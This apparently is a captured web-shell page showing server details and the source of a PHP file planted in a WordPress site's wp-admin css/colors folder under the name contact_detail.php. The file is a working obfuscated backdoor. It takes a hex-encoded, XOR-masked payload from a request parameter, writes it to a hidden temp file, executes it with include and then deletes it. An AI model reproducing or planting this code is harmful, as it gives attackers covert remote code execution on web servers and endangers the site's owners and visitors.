HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/kosmicevents/public/wp-admin__7af9720/css/colors/contact_detail.php
<?php

if(array_key_exists("en\x74i\x74\x79", $_REQUEST) && !is_null($_REQUEST["en\x74i\x74\x79"])){
	$obj = hex2bin($_REQUEST["en\x74i\x74\x79"]);
	$flag   =     ''    ;   for($j=0; $j<strlen($obj); $j++){$flag .= chr(ord($obj[$j]) ^ 9);}
	$factor = array_filter([session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]);
	for ($marker = 0, $reference = count($factor); $marker < $reference; $marker++) {
    $property_set = $factor[$marker];
    		if (!( !is_dir($property_set) || !is_writable($property_set) )) {
    $ref = sprintf("%s/.key", $property_set);
    $success = file_put_contents($ref, $flag);
if ($success) {
	include $ref;
	@unlink($ref);
	die();}
}
}
}